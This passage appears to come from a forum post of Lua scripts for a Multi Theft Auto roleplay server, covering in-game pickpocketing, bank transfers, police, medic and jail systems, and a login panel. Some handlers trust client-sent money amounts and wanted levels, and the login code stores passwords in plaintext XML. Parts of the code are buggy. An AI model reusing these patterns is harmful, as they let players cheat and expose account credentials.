        --[[outputChatBox('You have robbed $'..robM..' from '..getPlayerName(targ), player, 0, 255, 0)
        setElementData(player, "Money", getElementData(player, "Money")+robM)
        outputChatBox(getPlayerName(player)..' has robbed $'..robM..' from you!', targ, 255, 0, 0)
        setElementData(targ, "Money", getElementData(targ, "Money")+robM)]]
        setElementData(targ, "protect", true)
        exports["guimessages"]:outputServer(targ, wrntext, 255, 0, 0)
        triggerClientEvent("robamount", getRootElement(player, targ), player, targ, robM)
        --triggerClientEvent("disrob", player, player)
    end
end
addEventHandler("DRob", getRootElement(), FDRob)


-------------------------------------------- WWE ---------------------------------------

--[[team = {}

function onWasted(tammo, killer)
    if getElementData(source, "Wrestler") then
        FSEndWWE(source)
        winner(killer)
    end
end
--@addEventHandler("onPlayerWasted", getRootElement(), onWasted)

function winner(killer)
    if getElementData(bag, "Wrestlers") == 1 then
        if not killer then
            for k,v in ipairs(getElementsByType("player")) do
                if getElementData(v, "Wrestler") then
                    killer = v
                end
            end
        end
        triggerClientEvent("CendWWE", getRootElement(), killer)
        if killer then
            for k,v in ipairs(getElementsByType("player")) do
                outputChatBox(getPlayerName(killer)..' '..hwmtext[v], v, 0, 255, 0)
            end
            --FonQ(killer)
            setElementData(killer, "Money", getElementData(killer, "Money")+1500)
            setTimer(FSEndWWE, 1000, 1, killer)
            --reward = 1000
            --triggerClientEvent("GPM", killer, killer, reward)
        end
    end
end

--@addEvent("joinMatch", true)
function FjoinMatch(wrestler)
    --wrestlers = getElementData(bag, "Wrestlers")
    if not getElementData(wrestler, "Wrestler") and not tieT then
        if getElementData(bag, "Wrestlers") < 16 then
            if getElementData(bag, "Wrestlers") < 0 then
                setElementData(bag, "Wrestlers", 0)
            end
            if getPlayerTeam(wrestler) ~= Police then
                team[wrestler] = getPlayerTeam(wrestler)
                setPlayerTeam(wrestler, NoTeam)
            end
            --wrestlers = wrestlers+1
            setElementData(bag, "Wrestlers", getElementData(bag, "Wrestlers")+1)
            setElementData(wrestler, "Wrestler", getElementData(bag, "Wrestlers"))
            triggerClientEvent("waitanim", getRootElement(), wrestler)
            setPedFightingStyle(wrestler, 5)
            if getElementData(bag, "Wrestlers") > 1 and not SWWEF then
                for k,v in ipairs(getElementsByType("player")) do
                    outputChatBox(mwstext[v], v, 0, 255, 0)
                end
                SWWEF = setTimer(function()
                        SWWEF = false
                        tieT = setTimer(function()
                                tieT = false
                                for k,v in ipairs(getElementsByType("player")) do
                                    if getElementData(v, "Wrestler") then
                                        FSEndWWE(v)
                                    end
                                    outputChatBox(nwmtext[v], v, 255, 255, 0)
                                end
                                triggerClientEvent("CendWWE", getRootElement())
                        end, 360000, 1)
                        for k,v in ipairs(getElementsByType("player")) do
                            if getElementData(v, "Wrestler") then
                                setElementHealth(v, 100)
                                setPedArmor(v, 0)
                            end
                        end
                        triggerClientEvent("CountDown", getRootElement())
                end, 120000, 1)
            end
        else
            outputChatBox(shjtext[wrestler], wrestler, 255, 255, 0)
        end
    end
end
--@addEventHandler("joinMatch", getRootElement(), FjoinMatch)
--
function onQuit()
    FonQ(source)
end
addEventHandler("onPlayerQuit", getRootElement(), onQuit)

--addEvent("onQ", true)
function FonQ(wrestler)
    --if getElementData(wrestler, "Wrestler") then
        setElementData(bag, "Wrestlers", getElementData(bag, "Wrestlers")-1)
        if getElementData(bag, "Wrestlers") < 0 then
            setElementData(bag, "Wrestlers", 0)
        end
        if team[wrestler] then
            setPlayerTeam(wrestler, Police)
            team[wrestler] = false
        end
        setElementData(wrestler, "Wrestler", false)
        setPedFightingStyle(wrestler, 15)
        if getElementData(bag, "Wrestlers") < 2 then
            if SWWEF then
                killTimer(SWWEF)
                SWWEF = false
            elseif tieT then
                winner()
                killTimer(tieT)
                tieT = false
            end
        end
    --end
end
--addEventHandler("onQ", getRootElement(), FonQ)
]]
--@addEvent("SEndWWE", true)
function FSEndWWE(player)
    --wrestlers = wrestlers-1
    if getElementData(player, "Wrestler") then
        if team[player] then
            setPlayerTeam(player, team[player])
            team[player] = false
        end
        setElementData(player, "Wrestler", false)
        setPedFightingStyle(player, 15)
        setElementData(bag, "Wrestlers", getElementData(bag, "Wrestlers")-1)
        if getElementData(bag, "Wrestlers") < 0 then
            setElementData(bag, "Wrestlers", 0)
        end
        if getElementData(bag, "Wrestlers") < 2 then
            if SWWEF then
                killTimer(SWWEF)
                SWWEF = false
            elseif tieT then
                winner()
                killTimer(tieT)
                tieT = false
            end
        end
    end
    hr, mn = getTime()
    wt = getWeather()
    triggerClientEvent("LWWE", player, player, hr, mn, wt)
end
--@addEventHandler("SEndWWE", getRootElement(), FSEndWWE)]]--@--

-------------------------------------------- Bank ---------------------------------------

send = {}

addEvent("Transfer", true)
function FTransfer(tfP, tfM)
    send[source] = false
    for k, v in ipairs(getElementsByType("player")) do
        if getElementData(v, "ID") == tonumber(tfP) then
            --if tfM then
                exports["guimessages"]:outputServer(v, getPlayerName(source)..' '..htm1text[v]..' $'..tfM..' '..htm2text[v], 0, 255, 0)
                setElementData(v, "Bank", getElementData(v, "Bank")+tfM)
                exports["guimessages"]:outputServer(source, yht1text[source]..' $'..tfM..' '..yht2text[source]..' '..getPlayerName(v), 0, 255, 0)
                setElementData(source, "Bank", getElementData(source, "Bank")-tfM)
                --trns = v
                send[source] = true
            --end
        end
    end
    if send[source] then
        send[source] = false
        --trns = false
    else
        exports["guimessages"]:outputServer(source, pmltext[source], 255, 255, 0)
    end
end
addEventHandler("Transfer", getRootElement(), FTransfer)

-------------------------------------------- Police Vehicle Marker ---------------------------------------

cars = {}
carsTimer = {}

function onCreatePoliceCar(carName)
    local id = getVehicleModelFromName(carName)
    if (id) then
        if (isElement(cars[source])) then
            destroyElement(cars[source])
        end
        local x, y, z = getElementPosition(source)
        cars[source] = createVehicle(id, x, y, z, 0, 0, 180)
        setVehicleColor(cars[source], 255, 255, 255)
        addEventHandler("onVehicleExplode", cars[source], function() setTimer(function(car) if (isElement(car)) then destroyElement(car) end end, 5000, 1, source) end)
        addEventHandler("onVehicleExit", cars[source], function() if isVehicleEmpty(source) then return end carsTimer[source] = setTimer(function(car) if (isElement(car)) then destroyElement(car) end end, 120000, 1, source) end)
        addEventHandler("onVehicleEnter", cars[source], function() if isTimer(carsTimer[source]) then killTimer(carsTimer[source]) end end)
        warpPedIntoVehicle(source, cars[source])
    end
end
addEvent("onCreatePoliceCar", true)
addEventHandler("onCreatePoliceCar", root, onCreatePoliceCar)

function isVehicleEmpty(veh)
     local cc = false
     local occupants = getVehicleOccupants(veh)
     local seats = getVehicleMaxPassengers(veh)
     for seat = 0, seats do
          if occupants[seat] then cc = true end
     end
     return cc
end

-- GATE FOR THE POLICE

--[[
policeDoor = createObject(968, 1544.699, -1630.798, 13.100, 0, 90, 90)
col = createMarker(1544.4, -1626.8, 12, "cylinder", 10, 0, 0, 0, 0)
createObject(970, 1544.9000244141 , -1622 , 13.10000038147 , 0 ,0 ,90)
createObject(970, 1544.9000244141 , -1617.9000244141 , 13.10000038147 , 0 ,0 ,90)
createObject(970, 1544.9000244141 , -1634.9000244141 , 13.199999809265 , 0 ,0 ,90)

moving = false
closed = true
movetime = 968

function openDoor(player)
    if getElementType(player) == "player" then
    if not isPedInVehicle(player) or getPlayerTeam(player) ~= getTeamFromName("Police") then return end
    if not moving and closed then
        moveObject(policeDoor, 968, 1544.699, -1630.798, 13.100, 0, -90)
        moving = true
        closed = false
        setTimer(function() moving = false end, movetime, 1)
    end
    end
end
addEventHandler("onMarkerHit", col, openDoor)

function closeDoor(player)
    if getElementType(player) == "player" then
    if not isPedInVehicle(player) or getPlayerTeam(player) ~= getTeamFromName("Police") then return end
    if not moving and not closed then
        moveObject(policeDoor, 968, 1544.699, -1630.798, 13.100, 0, 90)
        moving = true
        closed = true
        setTimer(function() moving = false end, movetime, 1)
    end
    end
end
addEventHandler("onMarkerLeave", col, closeDoor)]]


--- HEAL PLAYERS

local healAmount = 75
local medicMarker = {}
local medicTimer = {}

function heal(helled, heller)
    local money = getElementData(helled, "Money") or 0
    if (healAmount <= money) then
        local health = getElementHealth(helled)
        local maxHealth = getPlayerMaxHealth(helled) or 100
        if (health <= (maxHealth - 25)) then
            setElementHealth(helled, health + 25)
            payTheMoney(heller, helled)
        elseif (health <= (maxHealth - 5)) and (health > (maxHealth - 25)) and (health < maxHealth) then
            setElementHealth(helled, health + (maxHealth - health))
            payTheMoney(heller, helled)
        end
    end
end
addEvent("healPlayer", true)
addEventHandler("healPlayer", root, heal)

function getPlayerMaxHealth(player)
    local currentHealth = math.ceil(getElementHealth(player))
    setElementHealth(player, 200)
    local MaxHealth = math.ceil(getElementHealth(player))
    setElementHealth(player, currentHealth)
    return MaxHealth
end

function payTheMoney(heller, helled)
    setElementData(helled, "Money", (getElementData(helled, "Money") or 0) - healAmount)
    setElementData(heller, "Money", (getElementData(heller, "Money") or 0) + healAmount)
    exports["guimessages"]:outputServer(heller, "You have earned $"..healAmount, 0, 255, 0)
    exports["guimessages"]:outputServer(helled, "You've paid $"..healAmount.." for medical services.", 255, 125, 0)
end

addCommandHandler("medic",
function(player, cmd)
    local team = getPlayerTeam(player)
    local medicTeam = getTeamFromName("Medic")
    if team and medicTeam and team == medicTeam then
        if isElement(medicMarker[player]) then
            destroyElement(medicMarker[player])
            medicMarker[player] = nil
            setElementFrozen(player, false)
            toggleAllControls(player, true)
            exports["guimessages"]:outputServer(player, "Medic marker unloaded successfully.", 255, 255, 0)
        else
            if (getElementData(player, "WantLvl") or 0) > 0 then
                exports["guimessages"]:outputServer(player, "Your wanted level prevent you from doing this action.", 255, 0, 0)
            elseif (getElementData(player, "Stats") or 0) == 1 then
                exports["guimessages"]:outputServer(player, "You can't do this action right now, pay your Ticket.", 255, 0, 0)
            elseif (getElementData(player, "Stats") or 0) == 2 then
                exports["guimessages"]:outputServer(player, "You can't do this action right now, because you're Jailed.", 255, 0, 0)
            elseif (getElementData(player, "Stats") or 0) == 3 then
                exports["guimessages"]:outputServer(player, "You can't do this action right now, because you're under Arrest.", 255, 0, 0)
            elseif (getElementData(player, "Stats") or 0) == 4 then
                exports["guimessages"]:outputServer(player, "You can't do this action right now, because you're Kidnapped.", 255, 0, 0)
            elseif isPedDead(player) then
                exports["guimessages"]:outputServer(player, "What are you trying to do?!?! only alives can do this action!", 255, 0, 0)
            elseif isPedInVehicle(player) then
                exports["guimessages"]:outputServer(player, "You must be on foot to do this action.", 255, 0, 0)
            elseif not isPedOnGround(player) then
                exports["guimessages"]:outputServer(player, "You must be on the ground to do this action.", 255, 0, 0)
            else
                setElementFrozen(player, true)
                toggleAllControls(player, false, true, false)
                if isTimer(medicTimer[player]) then killTimer(medicTimer[player]) end
                medicTimer[player] = setTimer(function(player)
                    local x, y, z = getElementPosition(player)
                    if isElement(medicMarker[player]) then destroyElement(medicMarker[player]) medicMarker[player] = nil end
                    medicMarker[player] = createMarker(x, y, z-1, "cylinder", 2.2, 100, 100, 255, 125)
                    setElementInterior(medicMarker[player], getElementInterior(player))
                    setElementDimension(medicMarker[player], getElementDimension(player))
                    exports["guimessages"]:outputServer(player, "Medic marker created successfully.", 0, 255, 0)
                    exports["guimessages"]:outputServer(player, "Do /"..cmd.." again to unload.", 100, 100, 255)
                end, 200, 1, player)
            end
        end
    end
end)

function eventCheck()
    if isElement(medicMarker[source]) then
        destroyElement(medicMarker[source])
        medicMarker[source] = nil
        setElementFrozen(source, false)
        toggleAllControls(source, true)
    end
end
addEventHandler("onPlayerQuit", root, eventCheck)
addEventHandler("onPlayerWasted", root, eventCheck)

setTimer(function()
    for heller, marker in pairs(medicMarker) do
        for i, helled in ipairs(getElementsWithinColShape(getElementColShape(marker), "player")) do
            if helled ~= heller then
                heal(helled, heller)
            end
        end
    end
end, 3000, 0)
---------
function onSpawnVehicle(carName, x, y, z, r)
    local id = getVehicleModelFromName(carName)
    if (id) then
        if (isElement(cars[source])) then
            destroyElement(cars[source])
        end
        cars[source] = createVehicle(id, x, y, z+1, 0, 0, tonumber(r))
        setElementFrozen(cars[source], true)
        setTimer(setElementFrozen, 500, 1, cars[source], false)
        if id ~= 416 then
            setVehicleColor(cars[source], 255, 255, 255)
        end
        addEventHandler("onPlayerQuit", root, function() if isElement(cars[source]) then destroyElement(cars[source]) if isTimer(carsTimer[cars[source]]) then killTimer(carsTimer[cars[source]]) end end end)
        addEventHandler("onVehicleExplode", cars[source], function() setTimer(function(car) if (isElement(car)) then destroyElement(car) end end, 5000, 1, source) end)
        addEventHandler("onVehicleExit", cars[source], function() if isVehicleEmpty(source) then return end carsTimer[source] = setTimer(function(car) if (isElement(car)) then destroyElement(car) end end, 120000, 1, source) end)
        addEventHandler("onVehicleEnter", cars[source], function() if isTimer(carsTimer[source]) then killTimer(carsTimer[source]) end end)
        warpPedIntoVehicle(source, cars[source])
    end
end
addEvent("onSpawnVehicle", true)
addEventHandler("onSpawnVehicle", root, onSpawnVehicle)

addEvent("OpenAllCellsByConsole", true)
function OpenCellsForGtaAdmin()
    outputDebugString("server: فتح الزنزانات !")
    moveObject (e1, 1000, 1589.56, -1675.17, 1228)
    moveObject (e2, 2000, 1554.44, -1670.57, 1226.9)
    if OAJ then -- close the cells
        moveObject (j1, 1000, 1585.04, -1679.13, 1228)
        moveObject (j2, 1000, 1580.29, -1679.13, 1228)
        moveObject (j3, 1000, 1575.54, -1679.13, 1228)
        moveObject (j4, 1000, 1570.79, -1679.13, 1228)
        moveObject (j5, 1000, 1583.33, -1662.97, 1228)
        moveObject (j6, 1000, 1578.58, -1662.97, 1228)
        moveObject (j7, 1000, 1573.83, -1662.97, 1228)
        moveObject (j8, 1000, 1569.08, -1662.97, 1228)
        moveObject (j9, 1000, 1588.84, -1679.13, 1232.2)
        moveObject (j10, 1000, 1584.09, -1679.13, 1232.2)
        moveObject (j11, 1000, 1579.34, -1679.13, 1232.2)
        moveObject (j12, 1000, 1574.59, -1679.13, 1232.2)
        moveObject (j13, 1000, 1569.84, -1679.13, 1232.2)
        moveObject (j14, 1000, 1565.09, -1679.13, 1232.2)
        moveObject (j15, 1000, 1560.34, -1679.13, 1232.2)
        moveObject (j16, 1000, 1587.13, -1662.97, 1232.2)
        moveObject (j17, 1000, 1582.38, -1662.97, 1232.2)
        moveObject (j18, 1000, 1577.63, -1662.97, 1232.2)
        moveObject (j19, 1000, 1572.88, -1662.97, 1232.2)
        moveObject (j20, 1000, 1568.13, -1662.97, 1232.2)
        moveObject (j21, 1000, 1563.38, -1662.97, 1232.2)
        moveObject (j22, 1000, 1558.63, -1662.97, 1232.2)
        moveObject (j23, 1000, 1588.84, -1679.13, 1236.28)
        moveObject (j24, 1000, 1584.09, -1679.13, 1236.28)
        moveObject (j25, 1000, 1579.34, -1679.13, 1236.28)
        moveObject (j26, 1000, 1574.59, -1679.13, 1236.28)
        moveObject (j27, 1000, 1569.84, -1679.13, 1236.28)
        moveObject (j28, 1000, 1565.09, -1679.13, 1236.28)
        moveObject (j29, 1000, 1560.34, -1679.13, 1236.28)
        moveObject (j30, 1000, 1587.13, -1662.97, 1236.28)
        moveObject (j31, 1000, 1582.38, -1662.97, 1236.28)
        moveObject (j32, 1000, 1577.63, -1662.97, 1236.28)
        moveObject (j33, 1000, 1572.88, -1662.97, 1236.28)
        moveObject (j34, 1000, 1568.13, -1662.97, 1236.28)
        moveObject (j35, 1000, 1563.38, -1662.97, 1236.28)
        moveObject (j36, 1000, 1558.63, -1662.97, 1236.28)
        moveObject (bd, 4000, 1586.33, -1670.51, 1227.07)
        j1o = false
        j2o = false
        j3o = false
        j4o = false
        j5o = false
        j6o = false
        j7o = false
        j8o = false
        j9o = false
        j10o = false
        j11o = false
        j12o = false
        j13o = false
        j14o = false
        j15o = false
        j16o = false
        j17o = false
        j18o = false
        j19o = false
        j20o = false
        j21o = false
        j22o = false
        j23o = false
        j24o = false
        j25o = false
        j26o = false
        j27o = false
        j28o = false
        j29o = false
        j30o = false
        j31o = false
        j32o = false
        j33o = false
        j34o = false
        j35o = false
        j36o = false
        for _, players in ipairs(getElementsByType("player")) do
            if getElementData(players, "Stats") > 2 then
                exports["guimessages"]:outputServer(players,btetext[players], 255, 255, 0)
            end
        end
        OAJ = false
        triggerClientEvent("COAJF", getRootElement())
    else -- open the cells
        moveObject (j1, 1000, 1586.36, -1679.13, 1228)
        moveObject (j2, 1000, 1581.63, -1679.13, 1228)
        moveObject (j3, 1000, 1576.88, -1679.13, 1228)
        moveObject (j4, 1000, 1572.13, -1679.13, 1228)
        moveObject (j5, 1000, 1581.99, -1662.97, 1228)
        moveObject (j6, 1000, 1577.24, -1662.97, 1228)
        moveObject (j7, 1000, 1572.49, -1662.97, 1228)
        moveObject (j8, 1000, 1567.74, -1662.97, 1228)
        moveObject (j9, 1000, 1590.18, -1679.13, 1232.2)
        moveObject (j10, 1000, 1585.43, -1679.13, 1232.2)
        moveObject (j11, 1000, 1580.68, -1679.13, 1232.2)
        moveObject (j12, 1000, 1575.93, -1679.13, 1232.2)
        moveObject (j13, 1000, 1571.18, -1679.13, 1232.2)
        moveObject (j14, 1000, 1566.43, -1679.13, 1232.2)
        moveObject (j15, 1000, 1561.68, -1679.13, 1232.2)
        moveObject (j16, 1000, 1585.79, -1662.97, 1232.2)
        moveObject (j17, 1000, 1581.04, -1662.97, 1232.2)
        moveObject (j18, 1000, 1576.29, -1662.97, 1232.2)
        moveObject (j19, 1000, 1571.54, -1662.97, 1232.2)
        moveObject (j20, 1000, 1566.79, -1662.97, 1232.2)
        moveObject (j21, 1000, 1562.04, -1662.97, 1232.2)
        moveObject (j22, 1000, 1557.29, -1662.97, 1232.2)
        moveObject (j23, 1000, 1590.18, -1679.13, 1236.28)
        moveObject (j24, 1000, 1585.43, -1679.13, 1236.28)
        moveObject (j25, 1000, 1580.68, -1679.13, 1236.28)
        moveObject (j26, 1000, 1575.93, -1679.13, 1236.28)
        moveObject (j27, 1000, 1571.18, -1679.13, 1236.28)
        moveObject (j28, 1000, 1566.43, -1679.13, 1236.28)
        moveObject (j29, 1000, 1561.68, -1679.13, 1236.28)
        moveObject (j30, 1000, 1585.79, -1662.97, 1236.28)
        moveObject (j31, 1000, 1581.04, -1662.97, 1236.28)
        moveObject (j32, 1000, 1576.29, -1662.97, 1236.28)
        moveObject (j33, 1000, 1571.54, -1662.97, 1236.28)
        moveObject (j34, 1000, 1566.79, -1662.97, 1236.28)
        moveObject (j35, 1000, 1562.04, -1662.97, 1236.28)
        moveObject (j36, 1000, 1557.29, -1662.97, 1236.28)
        moveObject (bd, 4000, 1586.33, -1662.73, 1227.07)
        j1o = true
        j2o = true
        j3o = true
        j4o = true
        j5o = true
        j6o = true
        j7o = true
        j8o = true
        j9o = true
        j10o = true
        j11o = true
        j12o = true
        j13o = true
        j14o = true
        j15o = true
        j16o = true
        j17o = true
        j18o = true
        j19o = true
        j20o = true
        j21o = true
        j22o = true
        j23o = true
        j24o = true
        j25o = true
        j26o = true
        j27o = true
        j28o = true
        j29o = true
        j30o = true
        j31o = true
        j32o = true
        j33o = true
        j34o = true
        j35o = true
        j36o = true
        for _, players in ipairs(getElementsByType("player")) do
            if getElementData(players, "Stats") > 2 then
                exports["guimessages"]:outputServer(players, btstext[players], 255, 255, 0)
            end
        end
        OAJ = true
        triggerClientEvent("COAJT", getRootElement())
    end
end
addEventHandler("OpenAllCellsByConsole", getRootElement(), OpenCellsForGtaAdmin)

-- SKIN HOUSE

 local houseskin = createObject(14758, 3868.1000976563, -1617, 17.3000001907349, 0, 0, 0) -- skin select house
 setElementDimension(houseskin, 1)
 local sofaskin = createObject(1712, 3878.1000976563, -1605.9900488281, 15.4000000953674, 0, 0, 0) -- skin select sofa
 setElementDimension(sofaskin, 1)
 local speaker1skin = createObject(2229, 3876.3000488281, -1605.3000488281, 15.4000000953674, 0, 0, 0) -- skin select speaker
 setElementDimension ( speaker1skin, 1 )
 local speaker2skin = createObject (2229, 3882, -1605.4000244141, 15.4000000953674, 0, 0, 0) -- skin select speaker
  setElementDimension(speaker2skin, 1)

  -- skin house العالم الحقيقي
createObject(14758, 3868.1000976563, -1617, 17.3000001907349, 0, 0, 0) -- skin select house
createObject(1712, 3878.1000976563, -1605.9900488281, 15.4000000953674, 0, 0, 0) -- skin select sofa
createObject(2229, 3876.3000488281, -1605.3000488281, 15.4000000953674, 0, 0, 0) -- skin select speaker

----------------------------------------------------------------
addEvent("offerB", true)
function FofferB(player, bribed, bribe)
    triggerClientEvent("CofferB", getRootElement(player, bribed), player, bribed, bribe)
end
addEventHandler("offerB", getRootElement(), FofferB)

addEvent("ACCB", true)
function FACCB(briber, bribed)
    if getElementData(briber, "Stats") < 1 and getElementData(briber, "WantLvl") > 2 or getElementData(briber, "Stats") == 3 then
        if getElementData(briber, "BribeAcc") then return end
        if getElementData(bribed, "OfferAcc") then return end
        triggerClientEvent("CACCB", getRootElement(briber, bribed), briber, bribed)
        setElementData(briber, "BribeAcc", true)
        setElementData(bribed, "OfferAcc", true)
    end
end
addEventHandler("ACCB", getRootElement(), FACCB)


----------------------------------------------------------   Fixed Bug Reconnect ----------------------------------------------------------
addEventHandler("onPlayerQuit", root,
    function(reason)
if reason ~= "Kicked" and reason ~= "Banned" then
        local prevented = false
        for i,v in ipairs(getElementsByType("player")) do
            if getPlayerTeam(v) == getTeamFromName("Police") then
                local x, y, z = getElementPosition(source)
                local x1, y1, z1 = getElementPosition(v)
                local distance = getDistanceBetweenPoints3D(x, y, z, x1, y1, z1)
                if distance < 20 then
                    if getElementData(source, "WantLvl") > 2 then

                        if prevented then return end
                        local account = getPlayerAccount ( source )
                        setAccountData(account, "AStats", 3)
                        setAccountData(account, "ASecs", 59)
                        setAccountData(account, "AMins", 7)
                        setAccountData(account, "AMBAIL", 10000)
                        setAccountData(account, "AWantLvl", 0)
            setAccountData(account, "ARecounctBug", true)
                        prevented = true
                    end
                end
            end
        end
    end
                      if getElementData(source,"RecounectBug") == true then
                  setAccountData(getPlayerAccount ( source ), "ARecounctBug", true)
                      end
end
)

function OnLoginRE ()
if not (isGuestAccount (getPlayerAccount (source))) then
    if getAccountData (getPlayerAccount(source), "ARecounctBug") == true then
                   setElementData(source, "RecounectBug", true)
                   setAccountData(getPlayerAccount(source), "ARecounctBug", false)
              end
        end
    end
addEventHandler ("onPlayerLogin", getRootElement(), OnLoginRE)

----------------------------------------------------------   Fixed Bug Car Player Damage ----------------------------------------------------------


addEvent("settingWantedLevel", true)
addEventHandler("settingWantedLevel", root,
    function(stars)
        setElementData(source, "WantLvl", stars)
    end
)

------------------------------------------------------------------ Fixed Hits ------------------------------------------------------------
addEventHandler("onPlayerWasted", root,
function(_, killer)
if killer and getElementType(killer) == "player" and
 killer ~= source and getElementData(killer, "Job") == 1 and
 getElementData(source, "Stats") < 2 and
 getElementData(source, "Hits") then
        setTimer(setElementData,1000,1,source, "Hits", false)
    end
end)
-----------------------------------------Fixed Bug Jail Weapon-----------------------------------

addEventHandler ( "onElementDataChange", root,
function(data,old)
    if getElementType(source) == "player" and data == "Stats" then
        if getElementData(source, "Stats") == 3 then
            toggleControl (source, "fire", false)
            toggleControl (source, "next_weapon", false)
            toggleControl (source, "previous_weapon", false)
            toggleControl (source, "aim_weapon", false)
            toggleControl (source, "vehicle_fire", false)
            setTimer(setElementData, 2000, 1, source, "WantLvl", 0)
        elseif old == 3 and getElementData(source, "Stats") == 0 then
            toggleControl (source, "fire", true)
            toggleControl (source, "next_weapon", true)
            toggleControl (source, "previous_weapon", true)
            toggleControl (source, "aim_weapon", true)
            toggleControl (source, "vehicle_fire", true)
        elseif old == 3 and getElementData(source, "Stats") == -1 then
            setElementData(source, "WantLvl", 6)
        end
        if old == 3 and getElementData(source,"RecounectBug") == true then
            setElementData(source, "RecounectBug", false)
        end
    end
end)

createObject(2229, 3882, -1605.4000244141, 15.4000000953674, 0, 0, 0) -- skin select speaker

 

 

Link to comment


-- Hide register window
function hideRegisterWindow()
	guiSetInputEnabled(true)
	guiSetVisible(mainWindow, true)
	guiSetVisible(registerWindow, false)
	showCursor(true)
end
addEvent("hideRegisterWindow", true)
addEventHandler("hideRegisterWindow", getRootElement(), hideRegisterWindow)


-- Show login panel when a player logs out if 'dissalowLogout' is set to TRUE
function logoutHandler()
	if (disallowLogout == true) then
		loginPanel()
		--exports["guimessages"]:outputClient("", 255, 255, 255)
		setTimer(outputChatBox,600,1,"#0000FF* #FFFFFFWarning! You have logged out. Please login again.",255,255,255,true)
	end
end

-----------------------------------------------------------------------------------------------

-- XML File Handler
function xmlFileHandler(gReturn)
	local xmlFile = xmlLoadFile(xmlFileName)
	if not xmlFile then
		xmlFile = xmlCreateFile(xmlFileName,"settings")
		xmlNodeSetAttribute(xmlFile,"autologin","false")
	end
	xmlNodeSetAttribute(xmlFile,"username",tostring(guiGetText(editUsername)))
	xmlNodeSetAttribute(xmlFile,"password",tostring(guiGetText(editPassword)))
	xmlSaveFile(xmlFile)
	xmlUnloadFile(xmlFile)
	if (gReturn) then
		if (gReturn == true) then
			loginPanel()
		else
			return
		end
	end
end


-- Increase Login Attepts
function increaseAttempts()
	attemptedLogins = attemptedLogins+1
end

-------------------------------------------- Hit-Man ---------------------------------------------

function placeHit(cmdN, id, amount)
if hitTime then return end
hitTime = true
setTimer(function() hitTime = false end,30000,1)
	if id then
		id = tonumber(id)
		if id then
			if amount then
				amount = tonumber(amount)
				if amount then
					amount = math.ceil(amount)
					if amount > 0 then
						if amount <= getElementData(player, "Money") then
							send = false
							for k, v in ipairs(getElementsByType("player")) do
								if getElementData(v, "ID") == id then
									send = true
									triggerServerEvent("PHit", player, player, id, amount)
								end
							end
							if not send then
								exports["guimessages"]:outputClient(nidtext..' '..id, 255, 255, 0)
							end
						else
							exports["guimessages"]:outputClient(dhwmtext, 255, 255, 0)
						end
					else
						exports["guimessages"]:outputClient(ermtext, 255, 0, 0)--"the amount of money must be over (0)!"
					end
				else
					exports["guimessages"]:outputClient(ermtext, 255, 0, 0)--"the amount of money should be a number only!"
				end
			else
				exports["guimessages"]:outputClient("/hit id money", 255, 255, 0)--"enter the amount of money hit"
			end
		else
			exports["guimessages"]:outputClient(ermtext, 255, 0, 0)--"the ID must be a number only!"
		end
	else
		exports["guimessages"]:outputClient("/hit id money", 255, 255, 0)--"enter a player id to place a hit on him"
	end
end
addCommandHandler("hit", placeHit)

----------------------------------------------- Pickpocket -------------------------------------

function rob()
	targ = getPedTarget(player)
	if targ and not fan and not getElementData(player, "Wrestler") then
		if getElementType(targ) == "player" then
			if getPedWeapon(player) < 2 and arob and getElementHealth(player) > 0 and targ ~= player and getElementData(player, "Stats") < 2 and getElementData(targ, "Stats") < 2 and not isElementWithinMarker(targ, wm1) and not isElementWithinMarker(targ, wm2) and not isElementWithinMarker(targ, wm4) and not isElementWithinMarker(targ, wm3) and not isElementWithinMarker(targ, pzr1) and not isElementWithinMarker(targ, pzr2) and not isElementWithinMarker(targ, pzr3) and not isElementWithinMarker(targ, bsr1) and not isElementWithinMarker(targ, bsr2) and not isElementWithinMarker(targ, cbr1) and not isElementWithinMarker(targ, cbr2) and not isElementWithinMarker(targ, bk1) and not isElementWithinMarker(targ, bk2) and not isElementWithinMarker(targ, bk3) and not isElementWithinMarker(targ, bk4) and not isElementWithinMarker(target, atm1) and not isElementWithinMarker(target, atm2) and not isElementWithinMarker(target, atm3) and not isElementWithinMarker(target, atm5) and not isElementWithinMarker(target, atm6) and not isElementWithinMarker(target, atm7) and not isElementWithinMarker(targ, knho1) and not isElementWithinMarker(targ, knho2) and not isElementWithinMarker(targ, knho3) and not isElementWithinMarker(targ, drus) then
				if targ then
					if getElementType(targ) == "player" then
						if getElementData(targ, "protect") then --if getElementHealth(targ) > 0 then
							exports["guimessages"]:outputClient(prbtext, 255, 255, 0)
						else
							x, y, z = getElementPosition(player)
							tx, ty, tz = getElementPosition(targ)
							dist = getDistanceBetweenPoints3D(x, y, z, tx, ty, tz)
							if dist < 2 and not isPlayerDead(targ) then
								if not erob then
									sucper = math.random(1, 4)
									if sucper < 2 then
										triggerServerEvent("DRob", getRootElement(), player, targ)
										erob = setTimer(function() erob = false
										end, 180000, 1)
										if getPlayerTeam(targ) == getTeamFromName("Police") then
											if getElementData(player, "WantLvl") < 3 then
												setElementData(player, "WantLvl", 3)
											end
										else
											SPWLAR()
										end
									else
										if getPlayerTeam(targ) == getTeamFromName("Police") then
											if getElementData(player, "WantLvl") < 2 then
												setElementData(player, "WantLvl", 2)
											end
										else
											SPWLAR()
										end
										exports["guimessages"]:outputClient(ftrtext..' '..getPlayerName(targ)..' !', 255, 0, 0)
										erob = setTimer(function()
											erob = false
										end, 120000, 1)
									end
								else
									exports["guimessages"]:outputClient(wtrtext, 255, 255, 0)
								end
							end
						end
					end
				end
			end
		end
	end
end

function SPWLAR()
	--if getElementData(player, "WantLvl") < 2 then
		for k,v in ipairs(getElementsByType("player")) do
			if getPlayerTeam(v) == getTeamFromName("Police") and getElementData(player, "WantLvl") < 2 then
				x, y, z = getElementPosition(player)
				vx, vy, vz = getElementPosition(v)
				dist = getDistanceBetweenPoints3D(x, y, z, vx, vy, vz)
				if dist < 30 then
					setElementData(v, "WantLvl", 3)
				end
			end
		end
	--end
end

addEvent("robamount", true)
function Frobamount(rbr, rbd, cash)
	if rbr == player or rbd == player then
		robber = rbr
		robbed = rbd
		robM = cash
		if rbr == player then
			exports["guimessages"]:outputClient(yhr1text..''..robM..' '..yhr2text..' '..getPlayerName(rbd), 0, 255, 0)
			checkntf('g', 'pp', 'g', yhr1text..''..robM..' '..yhr2text..' '..getPlayerName(rbd), player)
			setElementData(rbr, "Money", getElementData(rbr, "Money")+robM)
			setElementData(rbr, "Scores", getElementData(rbr, "Scores")+1)
			setElementData(rbr, "Rob", robM)
		elseif rbd == player then
